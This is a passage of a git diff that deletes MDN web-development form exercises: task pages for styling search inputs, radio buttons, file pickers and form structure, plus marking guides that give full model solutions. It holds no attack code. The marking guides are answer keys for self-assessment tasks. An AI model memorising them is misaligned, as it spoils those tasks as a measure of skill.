-        <meta charset="utf-8" />
-        <title>Advanced styling: Task 1</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style></style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px">
-body {
-  background-color: #fff;
-  color: #333;
-  font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-  padding: 1em;
-  margin: 0;
-}
-
-* {
-  box-sizing: border-box;
-}
-
-button,
-input,
-select {
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0; margin: 0;
-}
-</textarea
-        >
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <input type="search" name="search" id="search" aria-label="Search our site">
-  <div></div>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling2-download.html b/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling2-download.html
deleted file mode 100644
index 4374e3649d..0000000000
--- a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling2-download.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Advanced styling: Task 2</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-
-            button,
-            input,
-            select {
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Who is your favorite pony?</legend>
-                <ul>
-                    <li>
-                        <label for="pinkie">Pinkie Pie</label>
-                        <input type="radio" id="pinkie" name="pony" value="pinkie" />
-                    </li>
-                    <li>
-                        <label for="rainbow">Rainbow Dash</label>
-                        <input type="radio" id="rainbow" name="pony" value="rainbow" />
-                    </li>
-                    <li>
-                        <label for="twilight">Twilight Sparkle</label>
-                        <input type="radio" id="twilight" name="pony" value="twilight" />
-                    </li>
-                </ul>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling2.html b/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling2.html
deleted file mode 100644
index b1e6539c47..0000000000
--- a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling2.html
+++ /dev/null
@@ -1,66 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Advanced styling: Task 2</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style></style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px">
-body {
-  background-color: #fff;
-  color: #333;
-  font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-  padding: 1em;
-  margin: 0;
-}
-
-* {
-  box-sizing: border-box;
-}
-
-button,
-input,
-select {
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0; margin: 0;
-}
-</textarea
-        >
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <fieldset>
-    <legend>Who is your favorite pony?</legend>
-    <ul>
-      <li>
-        <label for="pinkie">Pinkie Pie</label>
-        <input type="radio" id="pinkie" name="pony" value="pinkie">
-      </li>
-      <li>
-        <label for="rainbow">Rainbow Dash</label>
-        <input type="radio" id="rainbow" name="pony" value="rainbow">
-      </li>
-      <li>
-        <label for="twilight">Twilight Sparkle</label>
-        <input type="radio" id="twilight" name="pony" value="twilight">
-      </li>
-    </ul>
-  </fieldset>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling3-download.html b/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling3-download.html
deleted file mode 100644
index 7e7015bf37..0000000000
--- a/docs/content/learning-area/html/forms/tasks/advanced-styling/advanced-styling3-download.html
+++ /dev/null
@@ -1,101 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Advanced styling: Task 3</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-
-            button,
-            input,
-            select {
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-            }
-
-            fieldset {
-                padding: 10px 30px 0;
-                width: 400px;
-            }
-
-            legend {
-                color: white;
-                background: black;
-                padding: 5px 10px;
-            }
-
-            fieldset > div {
-                margin-bottom: 20px;
-                display: flex;
-                flex-flow: row wrap;
-            }
-
-            button,
-            label,
-            input {
-                display: block;
-                font-family: inherit;
-                font-size: 100%;
-                padding: 0;
-                margin: 0;
-                box-sizing: border-box;
-                width: 100%;
-                padding: 5px;
-                height: 30px;
-            }
-
-            input {
-                box-shadow: inset 1px 1px 3px #ccc;
-                border-radius: 5px;
-            }
-
-            input:hover,
-            input:focus {
-                background-color: #eee;
-            }
-
-            button {
-                width: 60%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Feedback form</legend>
-
-                <p>Required fields are labelled with "required".</p>
-                <div>
-                    <label for="fname">First name: </label>
-                    <input id="fname" name="fname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="lname">Last name: </label>
-                    <input id="lname" name="lname" type="text" required />
-                    <span></span>
-                </div>
-                <div>
-                    <label for="email">Email address: </label>
-                    <input id="email" name="email" type="email" />
-                    <span></span>
-                </div>
-                <div><button>Submit</button></div>
-            </fieldset>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/marking.md b/docs/content/learning-area/html/forms/tasks/advanced-styling/marking.md
deleted file mode 100644
index 1659e9d08d..0000000000
--- a/docs/content/learning-area/html/forms/tasks/advanced-styling/marking.md
+++ /dev/null
@@ -1,249 +0,0 @@
-# Advanced form styling marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [Advanced form styling](https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Advanced_form_styling) and [UI pseudo-classes](https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/UI_pseudo-classes) lessons in Learn Web Development on MDN.
-
-## Task 1
-
-In our first advanced styling tasks, we want you to handle making a search input as consistent as possible across browsers — a trickier task than with standard text inputs, even on modern browsers.
-
-We've already provided you with a basic reset to build upon.
-
-1. First of all, try giving the search box a consistent width, height, padding, and border color across browsers. This is pretty self-explanatory; `line-height` tends to work better than `height` for keeping a consistent height in which the input text is vertically-centered.
-2. You'll find that some browsers will not behave in terms of the form element's height. This is due to native OS styling being used in some cases. How can you remove this native styling? The answer here is `-webkit-appearance: none;`.
-3. Once you've removed the native styling, you'll need to add back one of the features it was providing, to keep same look and feel we originally had. How do you do this? Answer: rounded corners! We need `border-radius`.
-4. One thing that is inconsistent across browsers (particularly looking at Safari here) is the position of the standard blue focus outline. How can you remove this? Answer: `outline: none;`
-5. There is a major problem with just getting rid of the blue focus outline. What is it? Can you add some kind of styling back in so that users can tell when the search box is being hovered or focused? Answer: Use some kind of styling applied to the input using the `:hover` and `:focus` pseudo-classes.
-6. Another thing that commonly denotes a search box is a magnifying glass icon. We've made one available in the same directory as `search-24px.png`, plus a `<div>` element after the search input to help you attach it, should you need it. Can you figure out a sensible way to attach it, and can you use some CSS to get it to sit to the right of the search box, and be lined up vertically as well? Answer: There are many ways to do this, but the easiest is probably to make it a background image of the `<div>`, and then use flexbox to line it up.
-
-The finished CSS could look something like this:
-
-```
-body {
-  background-color: #fff;
-  color: #333;
-  font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-  padding: 1em;
-  margin: 0;
-}
-
-* {
-  box-sizing: border-box;
-}
-
-button,
-input,
-select {
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0; margin: 0;
-}
-
-input[type="search"] {
-  line-height: 1.5rem;
-  padding: 5px;
-  border: 2px solid #ccc;
-  width: 200px;
-
-  -webkit-appearance: none;
-  border-radius: 6px;
-
-  outline: none;
-}
-
-input[type="search"]:hover, input[type="search"]:focus {
-  border: 2px solid red;
-  box-shadow: 1px 1px 1px gray;
-}
-
-div {
-  width: 36px;
-  height: 24px;
-  background: url(search-24px.png) no-repeat center;
-  background-size: 18px;
-}
-
-form {
-  display: flex;
-  align-items: center;
-}
-```
-
-## Task 2
-
-In our next task we provide you with a set of three radio buttons. We want you to give them custom styling.
-
-We've already provided you with a basic reset to build upon.
-
-1. First of all, get rid of their default styling. Again, `-webkit-appearance: none;` is what you need here.
-2. Next, give the radio buttons a reasonable base style — the style they have when the page first loads. This can be anything you like, but you probably want to set a width and height (of somewhere between about 18 and 24 pixels), and a subtle border and/or background color.
-3. Now give the radio buttons a different style for when they are selected. You'll need to use the `:checked` pseudo-class for selecting when the radio button is selected. If you want to do something a bit more fancy, you can also use a combination of `:checked` and `::before` or `::after` to use some generated content to provide a central glyph, or image. You'd need to use absolute positioning on the generated content and relative positioning on the radio button to help line things up. Bear in mind that using an actual text character is a pain to align, so using a background image would be more successful.
-4. Align the radio buttons nicely with the labels. A simple bit of flexbox would work nicely here as well.
-
-The finished CSS could look something like this:
-
-```
-body {
-  background-color: #fff;
-  color: #333;
-  font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-  padding: 1em;
-  margin: 0;
-}
-
-* {
-  box-sizing: border-box;
-}
-
-button,
-input,
-select {
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0; margin: 0;
-}
-
-input[type="radio"] {
-  -webkit-appearance: none;
-
-  height: 24px;
-  width: 24px;
-  border: 2px solid #ccc;
-}
-
-input[type="radio"]:checked {
-  border: 2px solid red;
-  position: relative;
-}
-
-input[type="radio"]:checked::before {
-  content: '';
-  background-color: red;
-  width: 12px;
-  height: 12px;
-  position: absolute;
-  top: 4px;
-  left: 4px;
-}
-
-li {
-  display: flex;
-  align-items: center;
-  margin-bottom: 10px;
-}
-
-label {
-  width: 150px;
-  margin-right: 10px;
-}
-```
-
-## Task 3
-
-In our final task for this assessment series, we provide you with a feedback form that is already nicely-styled — you've already seen something similar if you've worked through our UI pseudo-classes article, and now we want you to come up with your own solution.
-
-What we'd like you to do is make use of some advanced pseudo-classes to provide some useful indicators of validity.
-
-1. First of all, we want you to provide some specific styling to visually indicate which inputs have to be filled in — they cannot be left empty. The basis of doing this is use of the `:required` pseudo-class. Apart from that, you can use whatever styling you like, as long as it reasonably indicates what inputs are reuired. In our case, we've used `:required` plus an adjacent combinator to attach some generated content to the `<span>` that appears after the input, but the provided solution doesn't have to be this complex.
-2. Second, we want you to provide a useful visual indicator of whether the data entered inside each input is valid or not. This requires use of the `:valid` and `:invalid` pseudo-classes. Again, any reasonable solution is OK here, and attaching something to the trailing `<span>` in each case remains an option.
-
-The finished CSS could look something like this:
-
-```
-body {
-  background-color: #fff;
-  color: #333;
-  font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-  padding: 1em;
-  margin: 0;
-}
-
-* {
-  box-sizing: border-box;
-}
-
-button,
-input,
-select {
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0; margin: 0;
-}
-
-fieldset {
-  padding: 10px 30px 0;
-  width: 400px;
-}
-
-legend {
-  color: white;
-  background: black;
-  padding: 5px 10px;
-}
-
-fieldset > div {
-  margin-bottom: 20px;
-  display: flex;
-  flex-flow: row wrap;
-}
-
-button, label, input {
-  display: block;
-  font-family: inherit;
-  font-size: 100%;
-  padding: 0;
-  margin: 0;
-  box-sizing: border-box;
-  width: 100%;
-  padding: 5px;
-  height: 30px;
-}
-
-input {
-  box-shadow: inset 1px 1px 3px #ccc;
-  border-radius: 5px;
-}
-
-input:hover, input:focus {
-  background-color: #eee;
-}
-
-button {
-  width: 60%;
-  margin: 0 auto;
-}
-
-input + span {
-  position: relative;
-}
-
-input:required + span::after {
-  font-size: 0.7rem;
-  position: absolute;
-  content: "required";
-  color: white;
-  background-color: black;
-  padding: 5px 10px;
-  top: -26px;
-  left: -70px;
-}
-
-input + span::before {
-  position: absolute;
-  right: -20px;
-  top: 5px;
-}
-
-input:invalid {
-  border: 2px solid red;
-}
-
-input:invalid + span::before {
-  content: '✖';
-  color: red;
-}
-
-input:valid + span::before {
-  content: '✓';
-  color: green;
-}
-```
diff --git a/docs/content/learning-area/html/forms/tasks/advanced-styling/search-24px.png b/docs/content/learning-area/html/forms/tasks/advanced-styling/search-24px.png
deleted file mode 100644
index d8d63df714..0000000000
Binary files a/docs/content/learning-area/html/forms/tasks/advanced-styling/search-24px.png and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls-download.html b/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls-download.html
deleted file mode 100644
index 66cb98ccd1..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls-download.html
+++ /dev/null
@@ -1,30 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic controls: Task 1</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <ul>
-                <li>User ID</li>
-                <li>Password</li>
-                <li></li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls.html b/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls.html
deleted file mode 100644
index 93cace5556..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls.html
+++ /dev/null
@@ -1,53 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic controls: Task 1</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  <ul>
-    <li>
-      User ID
-
-    </li>
-    <li>
-      Password
-
-    </li>
-    <li>
-
-    </li>
-  </ul>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls2-download.html b/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls2-download.html
deleted file mode 100644
index b438bb3030..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls2-download.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic controls: Task 2</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <fieldset>
-                <legend>Who is your favorite pony?</legend>
-                <ul>
-                    <li>
-                        <label for="pinkie">Pinkie Pie</label>
-                    </li>
-                    <li>
-                        <label for="rainbow">Rainbow Dash</label>
-                    </li>
-                    <li>
-                        <label for="twilight">Twilight Sparkle</label>
-                    </li>
-                </ul>
-            </fieldset>
-            <fieldset>
-                <legend>Hotdog preferences</legend>
-                <ul>
-                    <li>
-                        <label for="vegan">Vegan</label>
-                    </li>
-                    <li>
-                        <label for="onions">Onions</label>
-                    </li>
-                </ul>
-            </fieldset>
-            <button>Submit</button>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls2.html b/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls2.html
deleted file mode 100644
index b70d9f30a7..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls2.html
+++ /dev/null
@@ -1,71 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic controls: Task 2</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-      <form>
-        <fieldset>
-          <legend>Who is your favorite pony?</legend>
-          <ul>
-            <li>
-              <label for="pinkie">Pinkie Pie</label>
-
-            </li>
-            <li>
-              <label for="rainbow">Rainbow Dash</label>
-
-            </li>
-            <li>
-              <label for="twilight">Twilight Sparkle</label>
-
-            </li>
-          </ul>
-        </fieldset>
-        <fieldset>
-          <legend>Hotdog preferences</legend>
-          <ul>
-            <li>
-              <label for="vegan">Vegan</label>
-
-            </li>
-            <li>
-              <label for="onions">Onions</label>
-
-            </li>
-          </ul>
-        </fieldset>
-        <button>Submit</button>
-      </form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls3-download.html b/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls3-download.html
deleted file mode 100644
index bfabf9a55e..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls3-download.html
+++ /dev/null
@@ -1,31 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic controls: Task 3</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <ul>
-                <li>
-                    <label for="gallery-img">Choose gallery images to upload</label>
-                </li>
-            </ul>
-            <button>Submit</button>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls3.html b/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls3.html
deleted file mode 100644
index e0814406f8..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/basic-controls3.html
+++ /dev/null
@@ -1,47 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Basic controls: Task 3</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-    <ul>
-      <li>
-        <label for="gallery-img">Choose gallery images to upload</label>
-
-      </li>
-    </ul>
-  <button>Submit</button>
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/basic-controls/marking.md b/docs/content/learning-area/html/forms/tasks/basic-controls/marking.md
deleted file mode 100644
index 0aa8c5eb0b..0000000000
--- a/docs/content/learning-area/html/forms/tasks/basic-controls/marking.md
+++ /dev/null
@@ -1,111 +0,0 @@
-# Basic controls marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [Basic native form controls](https://developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls) lesson in Learn Web Development on MDN.
-
-## Task 1
-
-This task starts you off nice and gently by asking you to create two input elements, for a user's ID and password, along with a submit button.
-
-1. Create appropriate inputs for user ID and password — you need to use appropriate `<input>` elements, with `type`s of `text` and `password` respectively. They should also have `id`s and `name`s.
-2. You should also associate them with their text labels semantically — use `<label>` elements appropriately, with `for` attributes as required.
-3. Create a submit button inside the remaining list item, with button text of "Log in". Either <button>Log in</button>, or <input type="submit" value="Log in"> will do.
-4. Try submitting your form to see if it submits successfully (there will be no redirect, but you should see the data attached to the page URL).
-
-The finished markup should look something like this:
-
-```
-<form>
-  <ul>
-    <li>
-      <label for="uid">User ID</label>
-      <input type="text" id="uid" name="uid">
-    </li>
-    <li>
-      <label for="pwd">Password</label>
-      <input type="password" id="pwd" name="pwd">
-    </li>
-    <li>
-      <button>Log in</button>
-    </li>
-  </ul>
-</form>
-```
-
-## Task 2
-
-The next task requires you to create working sets of checkboxes and radio buttons, from the provided text labels.
-
-1. Turn the first fieldset's contents into a set of radio buttons — you should only be able to select one pony character at once. `<input type="radio">` is the key here. You should use the same `name` attribute value for all the inputs, so that it associates the radio buttons into the same group.
-2. Make it so that the first radio button is selected upon page load. This is done by setting the `checked` attribute on the first input.
-3. Turn the second fieldset's content into a set of checkboxes. `<input type="checkbox">` is needed here. We've given each input the same `name` attribute value because the items are related.
-4. Add a couple more hotdog choices of your own.
-
-Note: It is usually better if you set `value` attributes explicitly on radio buttons and checkboxes, as well as the usually `type`, `id`, and `name`. If you don't, their value defaults to `on` when submitted, which is often not what you want.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <fieldset>
-    <legend>Who is your favorite pony?</legend>
-    <ul>
-      <li>
-        <label for="pinkie">Pinkie Pie</label>
-        <input type="radio" id="pinkie" name="pony" value="pinkie" checked>
-      </li>
-      <li>
-        <label for="rainbow">Rainbow Dash</label>
-        <input type="radio" id="rainbow" name="pony" value="rainbow">
-      </li>
-      <li>
-        <label for="twilight">Twilight Sparkle</label>
-        <input type="radio" id="twilight" name="pony" value="twilight">
-      </li>
-    </ul>
-  </fieldset>
-  <fieldset>
-    <legend>Hotdog preferences</legend>
-    <ul>
-      <li>
-        <label for="vegan">Vegan</label>
-        <input type="checkbox" id="vegan" name="hotdog" value="vegan">
-      </li>
-      <li>
-        <label for="onions">Onions</label>
-        <input type="checkbox" id="onions" name="hotdog" value="onions">
-      </li>
-      <li>
-        <label for="mustard">Mustard</label>
-        <input type="checkbox" id="mustard" name="hotdog" value="mustard">
-      <li>
-        <label for="ketchup">Ketchup</label>
-        <input type="checkbox" id="ketchup" name="hotdog" value="ketchup">
-      </li>
-    </ul>
-  </fieldset>
-  <button>Submit</button>
-</form>
-```
-
-## Task 3
-
-The final task in this set requires you to create a file picker.
-
-1. Create a basic file picker. Use `<input type="file">`
-2. Allow the user to pick multiple files at once. Do this by including the `multiple` attribute.
-3. Allow the file picker to accept JPG and PNG images. To do this, you need to include the `accept` attribute, and give it a value of `image/png, image/jpeg`.
-
-The finished markup should look something like this:
-
-```
-<form>
-    <ul>
-      <li>
-        <label for="gallery-img">Choose gallery images to upload</label>
-        <input type="file" id="gallery-img" name="gallery-img"
-               multiple accept="image/png, image/jpeg">
-      </li>
-    </ul>
-  <button>Submit</button>
-</form>
-```
diff --git a/docs/content/learning-area/html/forms/tasks/form-structure/form-structure-download.html b/docs/content/learning-area/html/forms/tasks/form-structure/form-structure-download.html
deleted file mode 100644
index a984d7d7b1..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-structure/form-structure-download.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Form structure: Task 1</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            Name:
-            <input type="text" id="name" name="name" />
-
-            Age:
-            <input type="number" id="age" name="age" />
-
-            Comment:
-            <input type="text" id="comment" name="comment" />
-
-            Email:
-            <input type="email" id="email" name="email" />
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/form-structure/form-structure.html b/docs/content/learning-area/html/forms/tasks/form-structure/form-structure.html
deleted file mode 100644
index 36593f9e4f..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-structure/form-structure.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Form structure: Task 1</title>
-        <link rel="stylesheet" href="../styles.css" />
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-
-        <style class="editable"></style>
-    </head>
-
-    <body>
-        <section class="preview"></section>
-
-        <textarea class="playable playable-css" style="height: 130px"> </textarea>
-
-        <textarea class="playable playable-html" style="height: 220px">
-<form>
-  Name:
-  <input type="text" id="name" name="name">
-
-  Age:
-  <input type="number" id="age" name="age">
-
-  Comment:
-  <input type="text" id="comment" name="comment">
-
-  Email:
-  <input type="email" id="email" name="email">
-</form>
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-    <script src="../playable.js"></script>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/form-structure/marking.md b/docs/content/learning-area/html/forms/tasks/form-structure/marking.md
deleted file mode 100644
index 884450ee66..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-structure/marking.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# Form structure marking guide
-
-The aim of the tasks is to demonstrate an understanding of the features covered in the [How to structure a web form](https://developer.mozilla.org/en-US/docs/Learn/Forms/How_to_structure_a_web_form) lesson in Learn Web Development on MDN.
-
-## Task 1
-
-The only task in this test your skills assessment looks at your knowledge of simple form structure. You are asked to:
-
-1. Separate out the first two and second two form fields into two distinct containers, each with a descriptive legend (use "Personal details" for the first two, and "Comment information" for the second two). This is what the `<fieldset>` and `<legend>` elements are made for.
-2. Mark up each text label with an appropriate element so that it is semantically associated with its respective form field. This needs the `<label>` element, and the `for` attribute if you are choosing not to wrap the `<label>` around the `<input>`.
-3. Add a suitable set of structural elements around the label/field pairs to separate them out. Ordered/unordered lists would be ideal, but something like `<div>`s would also be acceptable.
-
-The finished markup should look something like this:
-
-```
-<form>
-  <fieldset>
-    <legend>Personal details</legend>
-    <ul>
-      <li>
-        <label for="name">Name:</label>
-        <input type="text" id="name" name="name">
-      </li>
-      <li>
-        <label for="age">Age:</label>
-        <input type="number" id="age" name="age">
-      </li>
-    </ul>
-  </fieldset>
-  <fieldset>
-    <legend>Comment information</legend>
-    <ul>
-      <li>
-        <label for="comment">Comment:</label>
-        <input type="text" id="comment" name="comment">
-      </li>
-      <li>
-        <label for="email">Email (include if you want a reply):</label>
-        <input type="email" id="email" name="email">
-      </li>
-    </ul>
-  </fieldset>
-</form>
-```
diff --git a/docs/content/learning-area/html/forms/tasks/form-validation/form-validation-download.html b/docs/content/learning-area/html/forms/tasks/form-validation/form-validation-download.html
deleted file mode 100644
index 9ff5af5491..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-validation/form-validation-download.html
+++ /dev/null
@@ -1,47 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>Form validation: Task 1</title>
-        <style>
-            body {
-                background-color: #fff;
-                color: #333;
-                font: 1em / 1.4 Helvetica Neue, Helvetica, Arial, sans-serif;
-                padding: 1em;
-                margin: 0;
-            }
-
-            * {
-                box-sizing: border-box;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <h2>Enter your support query</h2>
-            <ul>
-                <li>
-                    <label for="uname">User name:</label>
-                    <input type="text" name="uname" id="uname" />
-                </li>
-                <li>
-                    <label for="email">Email address:</label>
-                    <input type="text" name="email" id="email" />
-                </li>
-                <li>
-                    <label for="phone">Phone number:</label>
-                    <input type="text" name="phone" id="phone" />
-                </li>
-                <li>
-                    <label for="comment">Comment:</label>
-                    <textarea name="comment" id="comment"> </textarea>
-                </li>
-                <li>
-                    <button>Submit comment</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tasks/form-validation/form-validation2-download.html b/docs/content/learning-area/html/forms/tasks/form-validation/form-validation2-download.html
deleted file mode 100644
index a0b2806c2d..0000000000
--- a/docs/content/learning-area/html/forms/tasks/form-validation/form-validation2-download.html
+++ /dev/null
@@ -1,47 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
